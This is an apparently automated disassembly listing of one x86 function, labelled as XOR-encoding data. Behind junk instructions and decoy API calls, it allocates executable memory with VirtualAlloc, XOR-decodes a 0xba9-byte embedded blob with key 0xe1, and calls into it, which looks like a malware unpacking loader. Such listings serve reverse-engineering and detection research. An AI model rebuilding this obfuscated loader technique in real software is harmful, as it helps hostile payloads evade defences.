Function at 0x4026d7
Capabilities:
Encode data using xor

Disassembly:
inc eax
neg esi
dec esi
inc edx
not esi
mov ebx, edi
add esi, edi
inc eax
mov ecx, edx
not ebx
inc edx
neg ebx
not ecx
dec ecx
inc ecx
not eax
dec edx
mov eax, edx
add ecx, edi
mov eax, ecx
inc esi
add esi, eax
mov ebx, edi
add ebx, ecx
dec edx
mov ebx, ecx
add eax, esi
dec esi
neg ecx
dec esi
not edx
add edx, eax
mov eax, ebx
inc esi
neg ecx
add eax, esi
dec eax
mov ecx, edi
pop eax
sub edi, 1
je 0x402721
push 0x401ec7
ret
pop edi
push 0
push 0
push 0
push 0
push 0
call sub.user32.dll_ShowWindow
or eax, eax
jne 0x40272c
push 0x40515f
push 0
push 0x100000
call sub.KERNEL32.DLL_OpenEventA
dec ebx
inc ebx
push 0x418877
push 1
push 0x1f0003
call sub.KERNEL32.DLL_OpenEventW
neg eax
dec ebx
push 0x41884a
push 7
push 0x100000
call sub.KERNEL32.DLL_OpenEventA
mov edi, esi
push 0x404079
push 0
push 3
call sub.KERNEL32.DLL_OpenEventA
dec edx
push 0x405275
push 0x418c41
call sub.KERNEL32.DLL_lstrcatW
inc ebx
push 0x4187e1
push 0
push 0x1f0003
call sub.KERNEL32.DLL_OpenEventA
neg esi
push 0x4040b2
push 0
push 3
call sub.KERNEL32.DLL_OpenEventA
not esi
neg eax
push 0x404194
push 0x418c4c
call sub.KERNEL32.DLL_lstrcatW
inc ecx
push 0x418481
push 0
push 2
call sub.KERNEL32.DLL_OpenEventA
dec ebx
push 0x405383
push 0x418c5c
call sub.KERNEL32.DLL_lstrcatW
mov edi, esi
push 0x4040fa
push 0x418c6c
call sub.KERNEL32.DLL_lstrcatW
inc eax
not edi
push 0x404f4a
push 7
push 3
call sub.KERNEL32.DLL_OpenEventA
mov eax, edi
dec ebx
push 0x405684
push 0x418c81
call sub.KERNEL32.DLL_lstrcatW
add ecx, esi
neg eax
push 0x405025
push 0x418c93
call sub.KERNEL32.DLL_lstrcatW
not ebx
push 0x404031
push 1
push 0x100000
call sub.KERNEL32.DLL_OpenEventW
dec ebx
push 0x40541f
push 1
push 0x100000
call sub.KERNEL32.DLL_OpenEventW
add edx, eax
inc edi
push 0x418588
push 0x418ca2
call sub.KERNEL32.DLL_lstrcatW
add esi, edi
push 0x405357
push 0x418cb1
call sub.KERNEL32.DLL_lstrcatW
inc ecx
push 0x40508d
push 0x418cc3
call sub.KERNEL32.DLL_lstrcatW
not esi
push 0x418648
push 0
push 2
call sub.KERNEL32.DLL_OpenEventW
add esi, ebx
inc ebx
push 0x4183e8
push 0x418cd4
call sub.KERNEL32.DLL_lstrcatW
mov eax, edx
push 0x40510d
push 0
push 0x100000
call sub.KERNEL32.DLL_OpenEventA
inc ecx
neg ecx
push 0x404f94
push 0
push 2
call sub.KERNEL32.DLL_OpenEventW
inc ebx
not ebx
push 0x4185dc
push 7
push 0x100000
call sub.KERNEL32.DLL_OpenEventA
inc ecx
not ebx
leave
dec edx
inc esi
not esi
push 0x506c4f74
lea edx, [ebp - 0x1c]
push edx
push eax
push ecx
call fcn.004016e0
push ecx
push eax
push 0x5149
call fcn.00401a77
push dword [ebp - 0xc]
lea ecx, [ebp - 0x18]
push ecx
push dword [ebp - 0x20]
push 0x4e75
push dword [ebp - 0x18]
lea edx, [ebp - 0x1c]
push edx
push 0x496b67
call fcn.004017ee
push 0x6b6951
push ecx
push 0x426764
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0xc]
push edx
push edx
call fcn.00401fff
push eax
push dword [ebp - 4]
push dword [ebp - 8]
push ecx
push ecx
push ecx
push dword [ebp - 0xc]
call fcn.00401cf3
push ecx
push edx
push eax
push 0x76416941
call fcn.00402148
push dword [ebp - 0x14]
push ecx
lea ecx, [ebp - 4]
push ecx
push 0x4f6c31
push edx
call fcn.0040246c
push 0x533875
push dword [ebp - 0x10]
push 0x704c
push 0x6172346a
push 0x366770
call fcn.0040161c
lea eax, [ebp - 0x10]
push eax
push 0x3871
push edx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x1c]
push ecx
call fcn.00401c6b
push dword [ebp - 0x10]
push ecx
push dword [ebp - 8]
push dword [ebp - 8]
call fcn.00402344
push edx
lea edx, [ebp - 0x18]
push edx
push 0x48627631
push dword [ebp - 0x20]
push ecx
call fcn.0040175f
push 0x6243636a
lea edx, [ebp - 0x10]
push edx
push dword [ebp - 0x20]
push edx
push dword [ebp - 0x14]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0xc]
push eax
call fcn.00401436
push 0x6a7951
push 0x517879
push 0x345270
push ecx
call fcn.004022c3
push eax
push 0x6a794d6a
push edx
call fcn.004014dc
lea eax, [ebp - 0x1c]
push eax
push edx
lea eax, [ebp - 0x20]
push eax
lea ecx, [ebp - 0x18]
push ecx
push edx
call fcn.0040240b
push dword [ebp - 0xc]
lea eax, [ebp - 8]
push eax
push dword [ebp - 0x10]
push edx
call fcn.004010f0
push eax
push 0x59666b68
push 0x4652684c
lea edx, [ebp - 0x14]
push edx
call fcn.0040172f
lea edx, [ebp - 0x14]
push edx
lea ecx, [ebp - 0x18]
push ecx
push 0x3543
push edx
call fcn.00402256
lea ecx, [ebp - 4]
push ecx
push edx
push 0x45366c46
push 0x727767
push ecx
push dword [ebp - 0xc]
call fcn.00401000
push 0x42546f68
lea edx, [ebp - 8]
push edx
push ecx
push edx
call fcn.00401962
lea edx, [ebp - 0x14]
push edx
push dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x18]
push eax
push ecx
push 0x576154
push edx
call fcn.004021e5
push 0x31735351
push dword [ebp - 4]
push eax
push ecx
push edx
push edx
call fcn.004017c5
push eax
push dword [ebp - 0x10]
push eax
push 0x745965
push 0x4363
lea ecx, [ebp - 0x20]
push ecx
call fcn.00401262
push 0x4a6c55
push dword [ebp - 0x1c]
push 0x484c
push 0x31684632
push eax
call fcn.00401c96
push edx
lea edx, [ebp - 0x10]
push edx
push ecx
call fcn.00401beb
push 0x6b3862
push edx
push dword [ebp - 0x14]
push ecx
push 0x53615041
push dword [ebp - 0x18]
call fcn.0040222c
push 0x4237
lea edx, [ebp - 0x18]
push edx
push 0x4c66
push dword [ebp - 0x10]
push dword [ebp - 8]
lea eax, [ebp - 0x14]
push eax
push ecx
call fcn.00401352
push 0x7069
lea edx, [ebp - 0x20]
push edx
push dword [ebp - 0x18]
push 0x7247
push dword [ebp - 0x14]
push eax
push eax
call fcn.004019dd
lea ecx, [ebp - 0x14]
push ecx
push 0x564948
push dword [ebp - 0x10]
push ecx
lea edx, [ebp - 0x20]
push edx
push dword [ebp - 0x18]
call fcn.00401c26
mov eax, 0x3b
xor eax, 0x7b
push eax
push 0x1000
add eax, 1
push 0x1000
sub eax, 1
push 0
push sym.imp.KERNEL32.DLL_VirtualAlloc
pop eax
mov eax, dword [eax]
call eax
inc esi
dec ecx
push eax
not edx
mov eax, 0xba9
add edx, ecx
inc edx
not edi
mov ecx, 0x4042fd
neg esi
dec esi
neg edi
add ebx, edi
mov ebx, dword [esp]
dec esi
not edx
inc esi
add edi, ebx
mov edi, dword [ecx]
dec esi
add esi, eax
xor edi, 0xe1
mov esi, ecx
inc esi
dec esi
mov dword [ebx], edi
mov edx, ebx
neg edi
mov esi, eax
inc ecx
not esi
dec edx
inc ebx
not edx
mov edx, esi
inc edi
dec edx
dec eax
jne 0x402b7f
add edi, ebx
pop ebx
mov eax, ebx
dec edx
add esi, edi
inc edi
neg edi
not edx
inc edi
push ebx
mov edx, esi
inc edi
dec esi
mov ecx, edx
add eax, ecx
call fcn.00401ada
not ecx
inc eax
ret